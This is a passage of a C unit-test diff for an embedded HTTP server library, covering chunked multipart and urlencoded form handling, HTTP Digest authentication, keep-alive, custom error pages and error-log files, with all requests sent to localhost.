/* Handle form: "POST multipart/form-data" with chunked transfer + * encoding, using a quoted boundary string */ + client_conn = mg_download( + "localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /handle_form HTTP/1.1\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: multipart/form-data; " + "boundary=\"multipart-form-data-boundary--see-RFC-2388\"\r\n" + "Transfer-Encoding: chunked\r\n" + "\r\n"); + + ck_assert(client_conn != NULL); + + body_len = strlen(multipart_body); + chunk_len = 1; + body_sent = 0; + while (body_len > body_sent) { + if (chunk_len > (body_len - body_sent)) { + chunk_len = body_len - body_sent; + } + ck_assert_int_gt((int)chunk_len, 0); + mg_printf(client_conn, "%x\r\n", (unsigned int)chunk_len); + mg_write(client_conn, multipart_body + body_sent, chunk_len); + mg_printf(client_conn, "\r\n"); + body_sent += chunk_len; + chunk_len = (chunk_len % 40) + 1; + } + mg_printf(client_conn, "0\r\n"); + + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + + /* Now test form_store */ + + /* First test with GET */ + client_conn = mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /handle_form_store" + "?storeme=storetest" + "&continue_field_handler=ignore" + "&break_field_handler=abort" + "&dontread=xyz " + "HTTP/1.0\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n\r\n"); + + ck_assert(client_conn != NULL); + + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + + /* Handle form: "POST x-www-form-urlencoded", chunked, store */ + client_conn = + mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /handle_form_store HTTP/1.0\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" + "Transfer-Encoding: chunked\r\n" + "\r\n"); + ck_assert(client_conn != NULL); + + send_chunk_string(client_conn, "storeme=store"); + send_chunk_string(client_conn, "test&"); + send_chunk_string(client_conn, "continue_field_handler=ignore"); + send_chunk_string(client_conn, "&br"); + test_sleep(1); + send_chunk_string(client_conn, "eak_field_handler=abort&"); + send_chunk_string(client_conn, "dontread=xyz"); + mg_printf(client_conn, "0\r\n"); + + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + /* Handle form: "POST multipart/form-data", chunked, store */ + client_conn = + mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /handle_form_store HTTP/1.0\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: multipart/form-data; " + "boundary=multipart-form-data-boundary--see-RFC-2388\r\n" + "Transfer-Encoding: chunked\r\n" + "\r\n"); + ck_assert(client_conn != NULL); + + send_chunk_string(client_conn, "--multipart-form-data-boundary"); + send_chunk_string(client_conn, "--see-RFC-2388\r\n"); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"storeme\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "storetest\r\n"); + + send_chunk_string(client_conn, "--multipart-form-data-boundary-"); + send_chunk_string(client_conn, "-see-RFC-2388\r\n"); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"continue_field_handler\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "ignore\r\n"); + + send_chunk_string(client_conn, "--multipart-form-data-boundary-"); + send_chunk_string(client_conn, "-see-RFC-2388\r\n"); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"break_field_handler\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "abort\r\n"); + + send_chunk_string(client_conn, "--multipart-form-data-boundary-"); + send_chunk_string(client_conn, "-see-RFC-2388\r\n"); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"dontread\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "xyz\r\n"); + send_chunk_string(client_conn, "--multipart-form-data-boundary"); + send_chunk_string(client_conn, "--see-RFC-2388--\r\n"); + mg_printf(client_conn, "0\r\n"); + + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + + /* Handle form: "POST multipart/form-data", chunked, store, with files */ + client_conn = + mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /handle_form_store2 HTTP/1.0\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: multipart/form-data; " + "boundary=multipart-form-data-boundary--see-RFC-2388\r\n" + "Transfer-Encoding: chunked\r\n" + "\r\n"); + ck_assert(client_conn != NULL); + + boundary = "--multipart-form-data-boundary--see-RFC-2388\r\n"; + + send_chunk_string(client_conn, boundary); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"storeme\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "storetest\r\n"); + + send_chunk_string(client_conn, boundary); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"continue_field_handler\";"); + send_chunk_string(client_conn, "filename=\"file_ignored.txt\"\r\n"); + send_chunk_string(client_conn, "Content-Type: "); + send_chunk_string(client_conn, "application/octet-stream\r\n"); + send_chunk_string(client_conn, "X-Ignored-Header: xyz\r\n"); + send_chunk_string(client_conn, "\r\n"); + + /* send some kilobyte of data */ + /* sending megabytes to localhost does not allways work in CI test + * environments (depending on the network stack) */ + body_sent = 0; + do { + send_chunk_string(client_conn, "ignore\r\n"); + body_sent += 8; + /* send some strings that are almost boundaries */ + for (chunk_len = 1; chunk_len < strlen(boundary); chunk_len++) { + /* chunks from 1 byte to strlen(boundary)-1 */ + send_chunk_stringl(client_conn, boundary, (unsigned int)chunk_len); + body_sent += chunk_len; + } + } while (body_sent < 8 * 1024); + send_chunk_string(client_conn, "\r\n"); + + send_chunk_string(client_conn, boundary); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"file2store\";"); + send_chunk_string(client_conn, "filename=\"myfile.txt\"\r\n"); + send_chunk_string(client_conn, "Content-Type: "); + send_chunk_string(client_conn, "application/octet-stream\r\n"); + send_chunk_string(client_conn, "X-Ignored-Header: xyz\r\n"); + send_chunk_string(client_conn, "\r\n"); + for (body_sent = 0; (int)body_sent < (int)myfile_content_rep; body_sent++) { + send_chunk_string(client_conn, myfile_content); + } + send_chunk_string(client_conn, "\r\n"); + + send_chunk_string(client_conn, boundary); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"break_field_handler\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "abort\r\n"); + + send_chunk_string(client_conn, boundary); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"dontread\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "xyz\r\n"); + send_chunk_string(client_conn, "--multipart-form-data-boundary"); + send_chunk_string(client_conn, "--see-RFC-2388--\r\n"); + mg_printf(client_conn, "0\r\n"); + + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + + /* Close the server */ + g_ctx = NULL; + test_mg_stop(ctx); + mark_point(); +} +END_TEST + + +START_TEST(test_http_auth) +{ +#if !defined(NO_FILES) + const char *OPTIONS[] = { + "document_root", + ".", + "listening_ports", + "8080", +#if !defined(NO_CACHING) + "static_file_max_age", + "0", +#endif + "put_delete_auth_file", + "put_delete_auth_file.csv", + NULL, + }; + + struct mg_context *ctx; + struct mg_connection *client_conn; + char client_err[256], nonce[256]; + const struct mg_request_info *client_ri; + int client_res; + FILE *f; + const char *passwd_file = ".htpasswd"; + const char *test_file = "test_http_auth.test_file.txt"; + const char *test_content = "test_http_auth test_file content"; + const char *domain; + const char *doc_root; + const char *auth_request; + const char *str; + size_t len; + int i; + char HA1[256], HA2[256], HA[256]; + char HA1_md5_buf[33], HA2_md5_buf[33], HA_md5_buf[33]; + char *HA1_md5_ret, *HA2_md5_ret, *HA_md5_ret; + const char *nc = "00000001"; + const char *cnonce = "6789ABCD"; + + mark_point(); + + /* Start with default options */ + ctx = test_mg_start(NULL, NULL, OPTIONS); + + ck_assert(ctx != NULL); + domain = mg_get_option(ctx, "authentication_domain"); + ck_assert(domain != NULL); + len = strlen(domain); + ck_assert_uint_gt(len, 0); + ck_assert_uint_lt(len, 64); + doc_root = mg_get_option(ctx, "document_root"); + ck_assert_str_eq(doc_root, "."); + + /* Create a default file in the document root */ + f = fopen(test_file, "w"); + if (f) { + fprintf(f, "%s", test_content); + fclose(f); + } else { + ck_abort_msg("Cannot create file %s", test_file); + } + + (void)remove(passwd_file); + (void)remove("put_delete_auth_file.csv"); + + client_res = mg_modify_passwords_file("put_delete_auth_file.csv", + domain, + "admin", + "adminpass"); + ck_assert_int_eq(client_res, 1); + + /* Read file before a .htpasswd file has been created */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /%s HTTP/1.0\r\n\r\n", test_file); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); + ck_assert_str_eq(client_err, test_content); + mg_close_connection(client_conn); + + test_sleep(1); + + /* Create a .htpasswd file */ + client_res = mg_modify_passwords_file(passwd_file, domain, "user", "pass"); + ck_assert_int_eq(client_res, 1); + + client_res = mg_modify_passwords_file(NULL, domain, "user", "pass"); + ck_assert_int_eq(client_res, 0); /* Filename is required */ + + test_sleep(1); + + /* Repeat test after .htpasswd is created */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /%s HTTP/1.0\r\n\r\n", test_file); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "401"); + + auth_request = NULL; + for (i = 0; i < client_ri->num_headers; i++) { + if (!mg_strcasecmp(client_ri->http_headers[i].name, + "WWW-Authenticate")) { + ck_assert_ptr_eq(auth_request, NULL); + auth_request = client_ri->http_headers[i].value; + ck_assert_ptr_ne(auth_request, NULL); + } + } + ck_assert_ptr_ne(auth_request, NULL); + str = "Digest qop=\"auth\", realm=\""; + len = strlen(str); + ck_assert(!mg_strncasecmp(auth_request, str, len)); + ck_assert(!strncmp(auth_request + len, domain, strlen(domain))); + len += strlen(domain); + str = "\", nonce=\""; + ck_assert(!strncmp(auth_request + len, str, strlen(str))); + len += strlen(str); + str = strchr(auth_request + len, '\"'); + ck_assert_ptr_ne(str, NULL); + ck_assert_ptr_ne(str, auth_request + len); + /* nonce is from including (auth_request + len) to excluding (str) */ + ck_assert_int_gt((ptrdiff_t)(str) - (ptrdiff_t)(auth_request + len), 0); + ck_assert_int_lt((ptrdiff_t)(str) - (ptrdiff_t)(auth_request + len), + (ptrdiff_t)sizeof(nonce)); + memset(nonce, 0, sizeof(nonce)); + memcpy(nonce, + auth_request + len, + (size_t)((ptrdiff_t)(str) - (ptrdiff_t)(auth_request + len))); + memset(HA1, 0, sizeof(HA1)); + memset(HA2, 0, sizeof(HA2)); + memset(HA, 0, sizeof(HA)); + memset(HA1_md5_buf, 0, sizeof(HA1_md5_buf)); + memset(HA2_md5_buf, 0, sizeof(HA2_md5_buf)); + memset(HA_md5_buf, 0, sizeof(HA_md5_buf)); + + sprintf(HA1, "%s:%s:%s", "user", domain, "pass"); + sprintf(HA2, "%s:/%s", "GET", test_file); + HA1_md5_ret = mg_md5(HA1_md5_buf, HA1, NULL); + HA2_md5_ret = mg_md5(HA2_md5_buf, HA2, NULL); + + ck_assert_ptr_eq(HA1_md5_ret, HA1_md5_buf); + ck_assert_ptr_eq(HA2_md5_ret, HA2_md5_buf); + + HA_md5_ret = mg_md5(HA_md5_buf, "user", ":", domain, ":", "pass", NULL); + ck_assert_ptr_eq(HA_md5_ret, HA_md5_buf); + ck_assert_str_eq(HA1_md5_ret, HA_md5_buf); + + HA_md5_ret = mg_md5(HA_md5_buf, "GET", ":", "/", test_file, NULL); + ck_assert_ptr_eq(HA_md5_ret, HA_md5_buf); + ck_assert_str_eq(HA2_md5_ret, HA_md5_buf); + + HA_md5_ret = mg_md5(HA_md5_buf, + HA1_md5_buf, + ":", + nonce, + ":", + nc, + ":", + cnonce, + ":", + "auth", + ":", + HA2_md5_buf, + NULL); + ck_assert_ptr_eq(HA_md5_ret, HA_md5_buf); + + mg_close_connection(client_conn); + + /* Retry with authorization */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /%s HTTP/1.0\r\n", test_file); + mg_printf(client_conn, + "Authorization: Digest " + "username=\"%s\", " + "realm=\"%s\", " + "nonce=\"%s\", " + "uri=\"/%s\", " + "qop=auth, " + "nc=%s, " + "cnonce=\"%s\", " + "response=\"%s\"\r\n\r\n", + "user", + domain, + nonce, + test_file, + nc, + cnonce, + HA_md5_buf); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); + ck_assert_str_eq(client_err, test_content); + mg_close_connection(client_conn); + + test_sleep(1); + + /* Retry DELETE with authorization of a user not authorized for DELETE */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "DELETE /%s HTTP/1.0\r\n", test_file); + mg_printf(client_conn, + "Authorization: Digest " + "username=\"%s\", " + "realm=\"%s\", " + "nonce=\"%s\", " + "uri=\"/%s\", " + "qop=auth, " + "nc=%s, " + "cnonce=\"%s\", " + "response=\"%s\"\r\n\r\n", + "user", + domain, + nonce, + test_file, + nc, + cnonce, + HA_md5_buf); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "401"); + mg_close_connection(client_conn); + + test_sleep(1); + + /* Remove the user from the .htpasswd file again */ + client_res = mg_modify_passwords_file(passwd_file, domain, "user", NULL); + ck_assert_int_eq(client_res, 1); + + test_sleep(1); + + + /* Try to access the file again. Expected: 401 error */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /%s HTTP/1.0\r\n\r\n", test_file); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "401"); + mg_close_connection(client_conn); + + test_sleep(1); + + + /* Now remove the password file */ + (void)remove(passwd_file); + test_sleep(1); + + + /* Access to the file must work like before */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /%s HTTP/1.0\r\n\r\n", test_file); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); + ck_assert_str_eq(client_err, test_content); + mg_close_connection(client_conn); + + test_sleep(1); + + + /* Stop the server and clean up */ + test_mg_stop(ctx); + (void)remove(test_file); + (void)remove(passwd_file); + (void)remove("put_delete_auth_file.csv"); + +#endif + mark_point(); +} +END_TEST + + +START_TEST(test_keep_alive) +{ + struct mg_context *ctx; + const char *OPTIONS[] = + { "listening_ports", + "8081", + "request_timeout_ms", + "10000", + "enable_keep_alive", + "yes", +#if !defined(NO_FILES) + "document_root", + ".", + "enable_directory_listing", + "no", +#endif + NULL }; + + struct mg_connection *client_conn; + char client_err[256]; + const struct mg_request_info *client_ri; + int client_res, i; + const char *connection_header; + + mark_point(); + + ctx = test_mg_start(NULL, NULL, OPTIONS); + + ck_assert(ctx != NULL); + + /* HTTP 1.1 GET request */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8081, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, + "GET / HTTP/1.1\r\nHost: " + "localhost:8081\r\nConnection: keep-alive\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(client_ri->local_uri, "404"); +#else + ck_assert_str_eq(client_ri->local_uri, "403"); +#endif + + connection_header = 0; + for (i = 0; i < client_ri->num_headers; i++) { + if (!mg_strcasecmp(client_ri->http_headers[i].name, "Connection")) { + ck_assert_ptr_eq(connection_header, NULL); + connection_header = client_ri->http_headers[i].value; + ck_assert_ptr_ne(connection_header, NULL); + } + } + /* Error replies will close the connection, even if keep-alive is set. */ + ck_assert_ptr_ne(connection_header, NULL); + ck_assert_str_eq(connection_header, "close"); + mg_close_connection(client_conn); + + test_sleep(1); + + /* TODO: request a file and keep alive + * (will only work if NO_FILES is not set). */ + + /* Stop the server and clean up */ + test_mg_stop(ctx); + + mark_point(); +} +END_TEST + + +START_TEST(test_error_handling) +{ + struct mg_context *ctx; + FILE *f; + + char bad_thread_num[32] = "badnumber"; + + struct mg_callbacks callbacks; + char errmsg[256]; + + struct mg_connection *client_conn; + char client_err[256]; + const struct mg_request_info *client_ri; + int client_res, i; + + const char *OPTIONS[32]; + int opt_cnt = 0; + + mark_point(); + +#if !defined(NO_FILES) + OPTIONS[opt_cnt++] = "document_root"; + OPTIONS[opt_cnt++] = "."; +#endif + OPTIONS[opt_cnt++] = "error_pages"; + OPTIONS[opt_cnt++] = "./"; + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8080"; + OPTIONS[opt_cnt++] = "num_threads"; + OPTIONS[opt_cnt++] = bad_thread_num; + OPTIONS[opt_cnt++] = "unknown_option"; + OPTIONS[opt_cnt++] = "unknown_option_value"; + OPTIONS[opt_cnt] = NULL; + + memset(&callbacks, 0, sizeof(callbacks)); + + callbacks.log_message = log_msg_func; + + /* test with unknown option */ + memset(errmsg, 0, sizeof(errmsg)); + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + /* Details of errmsg may vary, but it may not be empty */ + ck_assert_str_ne(errmsg, ""); + ck_assert(ctx == NULL); + ck_assert_str_eq(errmsg, "Invalid option: unknown_option"); + + /* Remove invalid option */ + for (i = 0; OPTIONS[i]; i++) { + if (strstr(OPTIONS[i], "unknown_option")) { + OPTIONS[i] = 0; + } + } + + /* Test with bad num_thread option */ + memset(errmsg, 0, sizeof(errmsg)); + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + /* Details of errmsg may vary, but it may not be empty */ + ck_assert_str_ne(errmsg, ""); + ck_assert(ctx == NULL); + ck_assert_str_eq(errmsg, "Invalid number of worker threads"); + +/* Set to a number - but use a number above the limit */ +#ifdef MAX_WORKER_THREADS + sprintf(bad_thread_num, "%u", MAX_WORKER_THREADS + 1); +#else + sprintf(bad_thread_num, "%lu", 1000000000lu); +#endif + + /* Test with bad num_thread option */ + memset(errmsg, 0, sizeof(errmsg)); + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + /* Details of errmsg may vary, but it may not be empty */ + ck_assert_str_ne(errmsg, ""); + ck_assert(ctx == NULL); + ck_assert_str_eq(errmsg, "Too many worker threads"); + + + /* HTTP 1.0 GET request - server is not running */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + ck_assert(client_conn == NULL); + + /* Error message detail may vary - it may not be empty ans should contain + * some information "connect" failed */ + ck_assert_str_ne(client_err, ""); + ck_assert(strstr(client_err, "connect")); + + + /* This time start the server with a valid configuration */ + sprintf(bad_thread_num, "%i", 1); + memset(errmsg, 0, sizeof(errmsg)); + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + ck_assert_str_eq(errmsg, ""); + ck_assert(ctx != NULL); + + + /* Server is running now */ + test_sleep(1); + + /* Remove error files (in case they exist) */ + (void)remove("error.htm"); + (void)remove("error4xx.htm"); + (void)remove("error404.htm"); + + + /* Ask for something not existing - should get default 404 */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /something/not/existing HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "404"); + mg_close_connection(client_conn); + test_sleep(1); + + /* Create an error.htm file */ + f = fopen("error.htm", "wt"); + ck_assert(f != NULL); + (void)fprintf(f, "err-all"); + (void)fclose(f); + + + /* Ask for something not existing - should get error.htm */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /something/not/existing HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + mg_close_connection(client_conn); + ck_assert_int_eq(client_res, 7); + client_err[8] = 0; + ck_assert_str_eq(client_err, "err-all"); + test_sleep(1); + + /* Create an error4xx.htm file */ + f = fopen("error4xx.htm", "wt"); + ck_assert(f != NULL); + (void)fprintf(f, "err-4xx"); + (void)fclose(f); + + + /* Ask for something not existing - should get error4xx.htm */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /something/not/existing HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + mg_close_connection(client_conn); + ck_assert_int_eq(client_res, 7); + client_err[8] = 0; + ck_assert_str_eq(client_err, "err-4xx"); + test_sleep(1); + + /* Create an error404.htm file */ + f = fopen("error404.htm", "wt"); + ck_assert(f != NULL); + (void)fprintf(f, "err-404"); + (void)fclose(f); + + + /* Ask for something not existing - should get error404.htm */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /something/not/existing HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + mg_close_connection(client_conn); + ck_assert_int_eq(client_res, 7); + client_err[8] = 0; + ck_assert_str_eq(client_err, "err-404"); + test_sleep(1); + + + /* Ask in a malformed way - should get error4xx.htm */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "Gimme some file!\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + mg_close_connection(client_conn); + ck_assert_int_eq(client_res, 7); + client_err[8] = 0; + ck_assert_str_eq(client_err, "err-4xx"); + test_sleep(1); + + + /* Remove all error files created by this test */ + (void)remove("error.htm"); + (void)remove("error4xx.htm"); + (void)remove("error404.htm"); + + + /* Stop the server */ + test_mg_stop(ctx); + + + /* HTTP 1.1 GET request - must not work, since server is already stopped */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert(client_conn == NULL); + ck_assert_str_ne(client_err, ""); + + test_sleep(1); + + mark_point(); +} +END_TEST + + +START_TEST(test_error_log_file) +{ + /* Server var */ + struct mg_context *ctx; + const char *OPTIONS[32]; + int opt_cnt = 0; + + /* Client var */ + struct mg_connection *client; + char client_err_buf[256]; + char client_data_buf[256]; + const struct mg_request_info *client_ri; + + /* File content check var */ + FILE *f; + char buf[1024]; + int len, ok; + + mark_point(); + + /* Set options and start server */ + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8080"; + OPTIONS[opt_cnt++] = "error_log_file"; + OPTIONS[opt_cnt++] = "error.log"; + OPTIONS[opt_cnt++] = "access_log_file"; + OPTIONS[opt_cnt++] = "access.log"; +#if !defined(NO_FILES) + OPTIONS[opt_cnt++] = "document_root"; + OPTIONS[opt_cnt++] = "."; +#endif + OPTIONS[opt_cnt] = NULL; + + ctx = test_mg_start(NULL, 0, OPTIONS); + ck_assert(ctx != NULL); + + /* Remove log files (they may exist from previous incomplete runs of + * this test) */ + (void)remove("error.log"); + (void)remove("access.log"); + + /* connect client */ + memset(client_err_buf, 0, sizeof(client_err_buf)); + memset(client_data_buf, 0, sizeof(client_data_buf)); + + client = mg_download("127.0.0.1", + 8080, + 0, + client_err_buf, + sizeof(client_err_buf), + "GET /not_existing_file.ext HTTP/1.0\r\n\r\n"); + + ck_assert(ctx != NULL); + ck_assert_str_eq(client_err_buf, ""); + + client_ri = mg_get_request_info(client); + + ck_assert(client_ri != NULL); + ck_assert_str_eq(client_ri->local_uri, "404"); + + /* Close the client connection */ + mg_close_connection(client); + + /* Stop the server */ + test_mg_stop(ctx); + + + /* Check access.log */ + memset(buf, 0, sizeof(buf)); + f = fopen("access.log", "r"); + ck_assert_msg(f != NULL, "Cannot open access log file"); + ok = (NULL != fgets(buf, sizeof(buf) - 